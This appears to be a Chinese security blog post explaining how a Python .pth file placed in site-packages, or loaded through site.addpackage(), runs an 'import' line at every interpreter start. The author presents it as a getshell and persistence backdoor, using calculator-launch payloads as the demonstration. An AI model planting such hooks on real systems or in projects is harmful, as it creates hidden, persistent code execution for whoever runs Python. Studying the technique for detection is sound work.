首页 > 系统相关 >Python pth 文件写入 getshell 或权限维持

Python pth 文件写入 getshell 或权限维持

时间:2023-04-20 14:48:55浏览次数:63  
标签:getshell pth Python site sys import line os

今天看到 Y4er 师傅写的文章,我这里简单学习了一下:https://y4er.com/posts/python-pth-file-write-getshell/

概述

python 的 site 模块支持 "Site-specific configuration hook" 的功能,这个功能点本身是用来将特定路径加入模块搜索路径。该模块在初始化期间自动导入。
sys.prefixsys.exec_prefixC:/Python,那么创建路径为 C:\Python\Lib\site-packages\1.pth 的 pth 文件,然后其内容为
c:/windows/temp/
那么在新的 python 进程中,temp 路径将被添加到 sys.path 中

本地测试了一下:

image

import sys

print(sys.prefix)
print(sys.exec_prefix)

然后询问 ChatGPT 得知 Mac 系统中 python 的 site-packages 路径在哪里:
/Library/Frameworks/Python.framework/Versions/{version}/lib/python{version}/site-packages/
进去新建一个 1.pth写入 /Users/sanqiushu/Works/
image

image

可以看到,我在 1.pth 中写的路径已经加入到环境变量了, 然后再改个代码执行的语句:
image

import os;os.system("open -a Calculator")

image
此时运行任何 python 代码都会弹计算器了

原理

在 site.py 的实现中,有这么一段

for n, line in enumerate(f):
    if line.startswith("#"):
        continue
    if line.strip() == "":
        continue
    try:
        if line.startswith(("import ", "import\t")):
            exec(line)
            continue
        line = line.rstrip()
        dir, dircase = makepath(sitedir, line)
        if not dircase in known_paths and os.path.exists(dir):
            sys.path.append(dir)
            known_paths.add(dircase)

当 pth 文件内容以 import 或者 import\t 开头时,会执行这一行。
那么当 pth 文件内容为
import os;os.system("calc")
新启动 python 进程则会执行 calc 命令。

注意

本地测试执行 notepad 时 os.system 会卡死 python 进程,最好用 os.popen 或者 subprocess 执行。

不过这里我没有进行测试,不太清楚什么情况

拓展

到 site.addpackage() 里面去看看代码,做个后门挺不错的

def addpackage(sitedir, name, known_paths):
    if known_paths is None:
        known_paths = _init_pathinfo()
        reset = True
    else:
        reset = False
    fullname = os.path.join(sitedir, name)
    _trace(f"Processing .pth file: {fullname!r}")
    try:
        # locale encoding is not ideal especially on Windows. But we have used
        # it for a long time. setuptools uses the locale encoding too.
        f = io.TextIOWrapper(io.open_code(fullname), encoding="locale")
    except OSError:
        return
    with f:
        for n, line in enumerate(f):
            if line.startswith("#"):
                continue
            if line.strip() == "":
                continue
            try:
                if line.startswith(("import ", "import\t")):
                    exec(line)
                    continue
                line = line.rstrip()
                dir, dircase = makepath(sitedir, line)
                if not dircase in known_paths and os.path.exists(dir):
                    sys.path.append(dir)
                    known_paths.add(dircase)
            except Exception:
                print("Error processing line {:d} of {}:\n".format(n+1, fullname),
                      file=sys.stderr)
                import traceback
                for record in traceback.format_exception(*sys.exc_info()):
                    for line in record.splitlines():
                        print('  '+line, file=sys.stderr)
                print("\nRemainder of file ignored", file=sys.stderr)
                break
    if reset:
        known_paths = None
    return known_paths

只要先在系统写入一个后门文件,然后把路径传入 site.addpackage() 就可以执行了
例如:在/Users/sanqiushu/tmp/1.pth中写入import os;os.system("open -a Calculator")
然后执行:

import site

site_dir = "/Users/sanqiushu/tmp/"
name = "1.pth"

site.addpackage(site_dir, name, None)

image

不过我没有做过杀软对抗,这样做的话确实最终执行命令的时候特征很少,但是写入 1.pth 的时候是无法做加密解密的,特征也很明显的。所以这个还是适合做个权限维持啥的吧。

标签:getshell,pth,Python,site,sys,import,line,os
From: https://www.cnblogs.com/Nestar/p/17336664.html

相关文章

  • PYTHON - datetime 模块
    datetime模块1.1主要类date日期对象time时间对象datetime日期时间对象timedelta两个时间之间的时间间隔1.2date类date对象由year年份、month月份及day日期三个部分来构成的1.2.1获取当前日期fromdatetimeimportdatetime,datetoday=datetime.today().dat......
  • LeetCode Top100:回文链表 (python)
    LeetCodeTop100:回文链表给你一个单链表的头节点 head ,请你判断该链表是否为回文链表。如果是,返回 true ;否则,返回 false 。示例1:输入:head=[1,2,2,1]输出:true示例2:输入:head=[1,2]输出:false提示:链表中节点数目在范围[1,105] 内0<=Node.val<=9 ......
  • Python常用数据结构之元组
    前面的两节课,我们为大家讲解了Python中的列表,它是一种容器型的数据类型,通过列表类型的变量,我们可以保存多个数据并通过循环实现对数据的批量操作。当然,Python中还有其他容器型的数据类型,接下来我们就为大家讲解另一种容器型的数据类型,Python常用数据结构之元组(tuple)。元组的定义......
  • python dataclasses定义默认值为可变类型(转)
    原文:https://zhuanlan.zhihu.com/p/59658886作者:没有50CM手臂网站:知乎 场景还原最近开发遇到一个问题是在python3.7的dataclass中不能使用可变的默认值,错误如下:@dataclassclassFoo:bar:list=[]#ValueError:mutabledefault<class'list'>forfieldaisn......
  • python a股量化解决方案
    baostockhttp://baostock.com/baostock/index.php/A股K线数据pytdxhttps://rainx.gitbooks.io/pytdx/content/pytdx_reader.html......
  • LeetCode Top100: 相交链表(Python)
    LeetCodeTop100:相交链表给你两个单链表的头节点 headA 和 headB ,请你找出并返回两个单链表相交的起始节点。如果两个链表不存在相交节点,返回 null 。图示两个链表在节点 c1 开始相交:题目数据 保证 整个链式结构中不存在环。注意,函数返回结果后,链表必须 保持其原......
  • 【备忘录设计模式详解】C/Java/JS/Go/Python/TS不同语言实现
    简介备忘录模式(MementoPattern)是一种结构型设计模式。这种模式就是在不破坏封装的条件下,将一个对象的状态捕捉(Capture)住,并放在外部存储起来,从而可以在将来合适的时候把这个对象还原到存储起来的状态。备忘录模式常常与命令模式和迭代子模式一同使用。备忘录模式的角色有三个......
  • LeetCode Top100: 环形链表(python)
     给你一个链表的头节点 head ,判断链表中是否有环。如果链表中有某个节点,可以通过连续跟踪 next 指针再次到达,则链表中存在环。为了表示给定链表中的环,评测系统内部使用整数 pos 来表示链表尾连接到链表中的位置(索引从0开始)。注意:pos 不作为参数进行传递 。仅仅是为......
  • Python 图像处理实用指南:11~12
    原文:Hands-OnImageProcessingwithPython协议:CCBY-NC-SA4.0译者:飞龙本文来自【ApacheCN计算机视觉译文集】,采用译后编辑(MTPE)流程来尽可能提升效率。当别人说你没有底线的时候,你最好真的没有;当别人说你做过某些事的时候,你也最好真的做过。十一、深入学习图像处理——......
  • 理解 Python 的 Dataclasses第二篇(转)
    原文:https://zhuanlan.zhihu.com/p/59658598作者:没有50CM手臂网站:知乎这是Python最新的Dataclasses系列的第二部分内容。在第一部分里,我介绍了dataclasses的一般用法。这篇博客主要介绍另一个特征:dataclasses.field。我们已经知道Dataclasses会生成他们自身的__init__方法。......